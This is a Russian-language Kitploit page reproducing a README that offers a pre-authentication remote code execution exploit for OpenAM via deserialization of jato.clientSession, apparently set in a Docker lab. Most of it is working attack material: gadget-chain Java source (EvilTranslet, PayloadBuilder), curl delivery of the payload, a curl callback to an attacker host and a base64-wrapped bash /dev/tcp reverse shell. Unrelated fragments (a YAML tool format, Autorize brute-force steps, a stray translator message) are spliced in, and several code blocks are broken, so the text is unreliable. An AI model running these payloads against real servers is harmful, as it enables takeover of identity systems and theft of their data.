Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33439 — Первая публично опубликованная реализация эксплойта для CVE-2026-33439 (RCE до аутентификации в OpenAM через десериализацию jato.clientSession). | Kitploit
Инструменты/GitHubGitHub/themalwareguardian/cve-2026-33439
Анализ уязвимостейАнализ КодаЭксплуатацияОбратная инженерияЭксплуатация веб-приложенийАнализ вредоносных программТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Эксплуатация Бинарных Файлов
Лаборатории и Практика
GitHubthemalwareguardian/cve-2026-33439

CVE-2026-33439

Первая публично опубликованная реализация эксплойта для CVE-2026-33439 (RCE до аутентификации в OpenAM через десериализацию jato.clientSession).

Репозиторий
213 месяцев назадЕщё не проверено

🐞 CVE-2026-33439: RCE без аутентификации в OpenAM через десериализацию jato.clientSession

Анализ человеком + помощь ИИ + reverse engineering + advisory → эксплойт

Первая публично опубликованная реализация эксплойта для CVE-2026-33439

Неаутентифицированная уязвимость десериализации Java в ForgeRock OpenAM, позволяющая выполнить полный удалённый код через специально созданные объекты сеансов JATO. Та же река течёт дважды: они исправили jato.pageSession (CVE-2021-35464) и забыли про jato.clientSession (CVE-2026-33439). Цепочка гаджетов десериализации не спрашивает учётные данные.




📑 Содержание

  • Обзор
  • Родословная CVE-2021-35464
  • Анализ уязвимости CVE-2026-33439
    📂
    • Корневая причина
    • Затронутые версии
    • Поверхность атаки
  • Цепочка гаджетов
    📂
    • Основы десериализации Java
    • Encoder.decodeHttp64
    • Внутреннее устройство цепочки гаджетов
  • Лабораторная среда
    📂
    • Архитектура
    • Настройка
    • Доступ
  • Эксплуатация
    📂
    • Предварительные требования
    • Обнаружение и разведка
    • Понимание кодирования
    • Создание эксплойта
    • Доставка полезной нагрузки
    • Использование PoC-инструмента
  • Меры защиты
  • Ссылки



🎯 Обзор

CVE-2026-33439 — это уязвимость удалённого выполнения кода (RCE) до аутентификации в OpenIdentityPlatform OpenAM (версии до 16.0.6). Уязвимость возникает из-за небезопасной десериализации Java HTTP-параметра jato.clientSession внутри ClientSession.deserializeAttributes(), который вызывает Encoder.deserialize() → ApplicationObjectInputStream.readObject() без применения белого списка классов.

Неаутентифицированный злоумышленник отправляет специально сформированный HTTP GET или POST запрос, содержащий сериализованный Java-объект, на любую конечную точку JATO ViewBean, чей JSP отображает теги <jato:form>. Получив запрос, сервер десериализует объект без проверки, запускает цепочку гаджетов, собранную целиком из классов, входящих в WAR-файл OpenAM — внешние библиотеки не требуются — и выполняет произвольные команды ОС от имени пользователя процесса приложения.

Вектор CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 Critical

Вектор CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical




Скачать инструмент
🧬 Родословная CVE-2021-35464

Эта уязвимость — прямой регресс, вызванный неполным исправлением, применённым после CVE-2021-35464.

  • CVE-2021-35464 (ForgeRock AM / OpenAM): RCE до аутентификации через небезопасную десериализацию параметра jato.pageSession. Широко эксплуатировалась в реальных атаках; включена в список CISA KEV. Исправление ввело WhitelistObjectInputStream внутри ConsoleViewBeanBase.deserializePageAttributes() — подкласс ObjectInputStream, который проверяет имя каждого класса по жёстко заданному списку разрешённых ~40 безопасных классов перед созданием экземпляра.

  • CVE-2026-33439 (OpenAM ≤ 16.0.5): Исправление было применено только к jato.pageSession. Параметр jato.clientSession, обрабатываемый совершенно отдельным путём кода в ClientSession.deserializeAttributes(), не был пропатчен и по-прежнему использует нефильтрованный Encoder.deserialize() → ApplicationObjectInputStream, который вызывает ObjectInputStream.readObject() без белого списка классов.

Примитив атаки тот же. Сток десериализации другой. Изменилось только имя параметра.




🔬 Анализ уязвимости CVE-2026-33439

Корневая причина

JATO сериализует состояние представления UI в HTTP-параметры с именами jato.pageSession и jato.clientSession. Когда приходит запрос, OpenAM десериализует эти параметры, чтобы восстановить состояние интерфейса перед формированием ответа. Эти два параметра проходят по совершенно разным путям кода.

Исправленный путь кода (после CVE-2021-35464) для jato.pageSession:```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();

root@kitploit:~
Неисправленный путь кода для jato.clientSession (уязвимый):```java
// ClientSession.java
protected ClientSession(RequestContext context) {
	this.encodedSessionString =
		context.getRequest().getParameter("jato.clientSession");
}

protected void deserializeAttributes() {
	if (this.encodedSessionString != null
		&& this.encodedSessionString.trim().length() > 0) {
		this.setAttributes(
			(Map) Encoder.deserialize(
				// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
				Encoder.decodeHttp64(this.encodedSessionString), false)
		);
	}
}

Encoder.deserialize() создает обычный ApplicationObjectInputStream — подкласс ObjectInputStream без фильтрации классов. Любой класс в classpath JVM может быть инстанцирован. Десериализация запускается во время рендеринга JSP при каждом рендеринге тега < jato:form >:``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()

root@kitploit:~
---

<div id="vulnerability_affected"/>

### ***Затронутые версии***

| Продукт                     | Уязвимые                                      | Исправлено |
|-----------------------------|-------------------------------------------------|--------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5                                        | 16.0.6 |
| ForgeRock AM (downstream)   | Потенциально затронуты в зависимости от линейки патчей | -      |

---

<div id="vulnerability_attacksurface"/>

### ***Поверхность атаки***

Любая конечная точка JATO ViewBean, JSP которой содержит тег *< jato:form >*, эксплуатируется без предварительной аутентификации:

| Конечная точка              | Назначение                            |
|---------------------------|--------------------------------------|
| /ui/PWResetUserValidation | Сброс пароля - ввод идентификатора пользователя |
| /ui/PWResetQuestion       | Сброс пароля - контрольные вопросы   |

Конечные точки сброса пароля являются основной целью: они общедоступны по замыслу и гарантированно отображают теги *< jato:form >*.



---
---
---



<div id="gadgetchain"/>

## ***⚙️ Цепочка гаджетов***

<div id="gadgetchain_deserialization101"/>

### ***Java-десериализация 101***

Когда Java десериализует объект из байтового потока, она вызывает readObject() для каждого восстанавливаемого класса, включая вложенные объекты. Если злоумышленник контролирует байтовый поток и внедряет объект, чей readObject() запускает цепочку вызовов методов, завершающуюся выполнением кода, он получает RCE через гаджет-цепочку.

Ключевая особенность CVE-2026-33439: гаджет-цепочка не требует внешних библиотек. Каждый класс в цепочке включён в сам WAR-файл OpenAM `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>Это делает уязвимость эксплуатируемой в любой стандартной установке OpenAM.</u>

---

<div id="gadgetchain_encoding"/>

### ***Encoder.decodeHttp64***

Это критическая деталь, которая делает эксплойт рабочим. Класс `Encoder` в `jato-shaded-16.0.5.jar` использует URL-safe кодировщик/декодировщик base64 из Java - не стандартный base64 и не собственную схему подстановки символов.

Проверено декомпиляцией Encoder.class:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

Пользовательский формат YAML-файла

На бэкенде содержимое YAML преобразуется в список назначений muckrock. Некоторые выполняемые преобразования:

  • request.data_format - устанавливает формат данных запроса (см. Спецификация YAML для подробностей)
  • request.data - либо json-данные из поля data либо если назначение muckrock является переменной со значением, из файла env
  • request.params - либо json-данные из поля params либо если назначение muckrock является переменной со значением, из файла env
  • request.auth - либо json-данные из поля params либо если назначение muckrock является переменной со значением, из файла env

Вы также можете использовать упрощенный формат:

root@kitploit:~
foass:
  base_url: https://www.foaas.com
  requests:
    - operation:
        data_format: json
        method: GET
        path: "/cool/:from"
        data:
          key: value
        params:
          key: value
        auth: []
      expect:
        status: 200

Упрощенный формат не преобразуется в muckrock, а анализируется напрямую.``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn

root@kitploit:~
URL-безопасный base64 использует '-' вместо '+' и '_' вместо '/', без дополнения '='. Правильная кодировка:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)

Любая другая кодировка, включая стандартный base64 или ручную подстановку символов, приведёт к тому, что decodeHttp64() выбросит исключение или создаст повреждённые байты, молча прерывая десериализацию без ошибки в HTTP-ответе.


Внутренности цепочки гаджетов

Полная цепочка, использующая только классы из OpenAM WAR:``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)

root@kitploit:~
No source content was provided after "INPUT:" — the chunk appears to be empty. Please supply the actual text of chunk 15 so I can translate it.```bash
# Extract Column$ColumnComparator.class from the JAR
jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'

# Decompile and inspect the compare() method, reveals getTable() call before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"

# Extract and inspect Column.class, reveals getProperty() and setTable() methods
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class

javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"

Критическая деталь: "Column$ColumnComparator.compare()" вызывает "column.getTable().isSortedAscending()" перед вызовом "getProperty()". Если "getTable()" возвращает null, цепочка прерывается с "NullPointerException" до достижения "TemplatesImpl". Объект "Table" должен быть связан с "Column" через "column.setTable(table)" перед сериализацией.




🧪 Лабораторная среда

Архитектура```

┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘

root@kitploit:~
| Контейнер               | Образ                                    | Роль                |
|-------------------------|------------------------------------------|---------------------|
| cve_2026_33439_openam   | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Уязвимая цель       |
| cve_2026_33439_attacker | debian:bookworm-slim                     | Атакующая машина    |

> В лаборатории используется официальный WAR-файл OpenAM 16.0.5, развернутый на Tomcat 10.1.52 с Java 21 — точно та среда, которая описана в GitHub Security Advisory.

---

<div id="lab_setup"/>

### ***Настройка***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>

**Шаг 1 - Загрузите официальный WAR-файл OpenAM 16.0.5**```powershell
# From PowerShell on the host
cd "01 Vulnerable"

Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"

Шаг 2 - Запустите контейнеры```powershell docker compose up -d

root@kitploit:~
**Шаг 3 - Настройка OpenAM через браузер**

Перейдите по адресу "http://localhost:8080/openam", нажмите "Создать конфигурацию по умолчанию" и укажите:

| Поле                            | Значение      |
|---------------------------------|---------------|
| Пароль пользователя по умолчанию (amadmin) | Lab@dm1n2026! |
| Пароль агента                   | secret12      |

Подождите ~2 минуты, пока завершится настройка.

**Шаг 4 - Убедитесь, что сброс пароля включен**

Войдите как amadmin → Настройка → Глобальные службы → Сброс пароля → включите переключатель → Сохранить изменения.

**Шаг 5 - Определите эксплуатируемые конечные точки JSP**

Найдите все JSP-файлы в WAR, содержащие *< jato:form >* теги, — это конечные точки, в которых запускается десериализация jato.clientSession:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam

# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"

Изучите исходный код JSP, чтобы понять, почему jato.clientSession может не появляться в отображаемом HTML. Тег <jato:form> обёрнут внутри <jato:content name="resetPage">, который рендерится только тогда, когда ViewBean активирует этот блок. Однако <jato:useViewBean> в верхней части JSP всегда создаёт экземпляр ViewBean и обрабатывает jato.clientSession до того, как решает, какие блоки рендерить — десериализация в любом случае происходит на этом этапе:```powershell docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp

root@kitploit:~
4. Найдите целевой портал входа
5. Просмотрите ответ в AttackView

### **Выполнение атаки перебора заголовка авторизации на API** (см. AttackRecipe)

В этом сценарии атаки мы начинаем с конечной точки API и заголовком авторизации типа bearer. Чтобы выполнить атаку перебором, **Шаги**:

1. Перейдите в **Настройки Autorize** и отметьте только опцию `Replace Header` с параметром `Authorization`.
2. В поле **API endpoint** на вкладке **Autorize** введите целевой API-эндпоинт и также добавьте **SUBDOMAIN** конечной точки API в поле **Target Domain**.
3. Нажмите на кнопку **Autorize is Off**, чтобы запустить движок Autorize.
4. Отправьте запрос на целевой API-эндпоинт из аутентифицированной сессии, которая также содержит заголовок авторизации bearer.
5. Просмотрите ответ в **AttackView**```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">

	<%-- Only renders if ViewBean activates this block --%>
	<jato:content name="resetPage">
		<jato:form name="PWResetUserValidation" method="post">
			<%-- jato.clientSession hidden field appears here --%>
		</jato:form>
	</jato:content>

</jato:useViewBean>

Шаг 6 - Проверьте, что конечная точка доступна до аутентификации```powershell (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"

root@kitploit:~
---

<div id="lab_access"/>

### ***Доступ***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash

Разбор:```powershell

stop, keep volumes

docker compose down

full wipe

docker compose down -v

root@kitploit:~
---
---
---



<div id="exploitation"/>

## ***💣 Эксплуатация***

<div id="exploitation_prerequisites"/>

### ***Предварительные требования***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>

| Требование            | Примечания                                                                                                                            |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac)         | Должен соответствовать версии JVM, на которой работает OpenAM. Одного JRE недостаточно, javac требуется для компиляции EvilTranslet и PayloadBuilder |
| openam-core-16.0.5.jar | Скопирован из контейнера OpenAM - содержит Column, Column$ColumnComparator, PropertyUtils                                           |
| xalan-2.7.3.jar        | Скопирован из контейнера OpenAM - содержит TemplatesImpl, TransformerFactoryImpl                                                    |
| serializer-2.7.3.jar   | Скопирован из контейнера OpenAM - содержит SerializationHandler, используемый EvilTranslet                                                |
| click-nodeps-2.3.0.jar | Скопирован из контейнера OpenAM - содержит Table (требуется для Column$ColumnComparator)                                              |
| click-extras-2.3.0.jar | Скопирован из контейнера OpenAM - транзитивная зависимость click-nodeps                                                             |
| jato-shaded-16.0.5.jar | Скопирован из контейнера OpenAM - содержит Encoder с decodeHttp64                                                                |
| servlet-api.jar        | Скопирован из lib/ Tomcat - Jakarta Servlet API требуется для сериализации Table                                                |
| Python 3.8+            | Для PoC-скрипта                                                                                                               |
| requests               | pip install requests                                                                                                             |

---

<div id="exploitation_discovery"/>

### ***Обнаружение и разведка***

**Шаг 1 - Подтвердите, что OpenAM запущен, и определите версию**```
http://localhost:8080/openam/ccversion/Version

Шаг 2 - Зондирование конечных точек JATO ViewBean```bash for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do STATUS=$(curl -sk -o /dev/null -w "%{http_code}"
"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe") echo "[HTTP ${STATUS}] ${ENDPOINT}" done

root@kitploit:~
**Шаг 3 — Подтвердите, что jato.clientSession обработан**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"

Ответ будет содержать "jato.defaultCommand" и "jato.pageSession", но не "jato.clientSession" в отображаемом HTML — это ожидаемое поведение. Поле "jato.clientSession" появляется только внутри < jato:content name="resetPage" >, для активации которого ViewBean должен включить этот блок. Однако < jato:useViewBean > всегда создаёт экземпляр ViewBean и обрабатывает "jato.clientSession" до того, как решает, какие блоки отображать. Десериализация запускается в момент создания экземпляра независимо от того, присутствует ли поле в итоговом HTML-выводе. Наличие "jato.pageSession" в ответе подтверждает, что сериализация JATO активна на этой конечной точке, и "jato.clientSession" будет десериализован при следующем запросе.


Понимание кодирования

Перед созданием эксплойта необходимо проверить кодировку, используемую "Encoder.decodeHttp64()", путем декомпиляции JATO JAR. Этот шаг обязателен: использование неправильной кодировки приводит к тихому сбою десериализации.

Шаг 1 — Скопируйте все необходимые JAR-файлы из OpenAM в рабочее пространство атакующего

Из PowerShell на хосте:```powershell docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar . docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar . docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar . docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar . docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar . docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar . docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar . docker cp servlet-api.jar cve_2026_33439_attacker:/work/

root@kitploit:~
**Step 2 - Декомпилируйте Encoder, чтобы проверить метод декодирования**

Изнутри контейнера атакующего:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

Ожидаемый вывод, подтверждающий URL-safe base64:``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn

root@kitploit:~
**Шаг 3 - Декомпилируйте Column$ColumnComparator для проверки пути цепочки гаджетов**```bash
# Extract Column and ColumnComparator
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class

# Verify compare() calls getTable() before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"

This confirms that Column.getTable() must return a non-null Table object, otherwise compare() throws NullPointerException before reaching getProperty() → TemplatesImpl.


Сборка эксплойта

Все команды выполняются внутри контейнера атакующего.

Шаг 1 — Установка classpath```bash CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

root@kitploit:~
**Шаг 2 - Напишите и скомпилируйте EvilTranslet.java**

EvilTranslet расширяет AbstractTranslet (требуется TemplatesImpl) и выполняет команду в статическом инициализаторе, который запускается автоматически при newInstance().```bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

javac -cp $CP /work/EvilTranslet.java

Шаг 3 - Напишите и скомпилируйте PayloadBuilder.java

PayloadBuilder создаёт цепочку гаджетов и выводит URL-безопасный сериализованный payload, закодированный в base64.```bash cat > /work/PayloadBuilder.java << 'EOF' import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; import org.openidentityplatform.openam.click.control.Column; import org.openidentityplatform.openam.click.control.Table;

import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue;

public class PayloadBuilder {

root@kitploit:~
// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
	return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}

static void setField(Object obj, String name, Object value) throws Exception {
	Field f = obj.getClass().getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

static void setFieldPQ(Object obj, String name, Object value) throws Exception {
	Field f = PriorityQueue.class.getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

public static void main(String[] args) throws Exception {
	byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));

	// Step 1 - TemplatesImpl with EvilTranslet bytecode
	// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
	TemplatesImpl templates = new TemplatesImpl();
	setField(templates, "_bytecodes",     new byte[][]{ bytecode });
	setField(templates, "_name",          "EvilTranslet");
	setField(templates, "_tfactory",      new TransformerFactoryImpl());
	setField(templates, "_transletIndex", 0);

	// Step 2 - Column with Table associated
	// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
	Table table = new Table();
	Column column = new Column("outputProperties");
	column.setTable(table);

	@SuppressWarnings("unchecked")
	Comparator<Object> comparator = (Comparator<Object>) column.getComparator();

	// Step 3 - PriorityQueue as deserialization trigger
	// readObject() -> heapify() -> siftDown() -> comparator.compare()
	// Size must be >= 2 for heapify to call compare()
	PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
	setFieldPQ(queue, "queue", new Object[]{ templates, templates });
	setFieldPQ(queue, "size",  2);

	// Step 4 - Serialize and URL-safe base64 encode
	ByteArrayOutputStream baos = new ByteArrayOutputStream();
	ObjectOutputStream oos = new ObjectOutputStream(baos);
	oos.writeObject(queue);
	oos.close();

	System.out.println(encodeHttp64(baos.toByteArray()));
}

} EOF

javac -cp $CP /work/PayloadBuilder.java

root@kitploit:~
**Шаг 4 - Создание полезной нагрузки**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64

# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64

Доставка полезной нагрузки

Подтвердите RCE с помощью внеполосного HTTP-обратного вызова

Терминал 1 — Слушатель:``` docker exec -it cve_2026_33439_attacker bash

nc -lvnp 9999

root@kitploit:~
Terminal 2 - Создание и отправка callback-пейлоада:```
docker exec -it cve_2026_33439_attacker bash

cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64

PAYLOAD=$(cat /work/payload_http.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

Если RCE работает, Terminal 1 получает входящее HTTP-соединение от сервера OpenAM:``` nc -lvnp 9999 listening on [any] 9999 ... connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992 GET /pwned HTTP/1.1 Host: attacker:9999 User-Agent: curl/8.5.0 Accept: /

root@kitploit:~
**Записать файловый артефакт**

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/1a393801c28cfd5e0e6a39210562399aa1840cf7bd25bc839a397f627729c037.png">
</p>```
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64

PAYLOAD=$(cat /work/payload_file.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

Проверка из PowerShell:``` docker exec cve_2026_33439_openam ls -la /tmp/pwned

root@kitploit:~
**Обратный шелл**

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/3e8c65c8fc037c62904e16abf7ffce67ecf3f9af373ee6dd8b63691579d5d1ac.png">
</p>

Терминал 1 — Слушатель:```
docker exec -it cve_2026_33439_attacker bash

nc -lvnp 4444

Терминал 2 - Доставка:``` docker exec -it cve_2026_33439_attacker bash

CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'

B64CMD=$(echo "$CMD" | base64 -w 0)

cat > /work/EvilTranslet.java << EOF import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64

PAYLOAD=$(cat /work/payload_shell.b64)

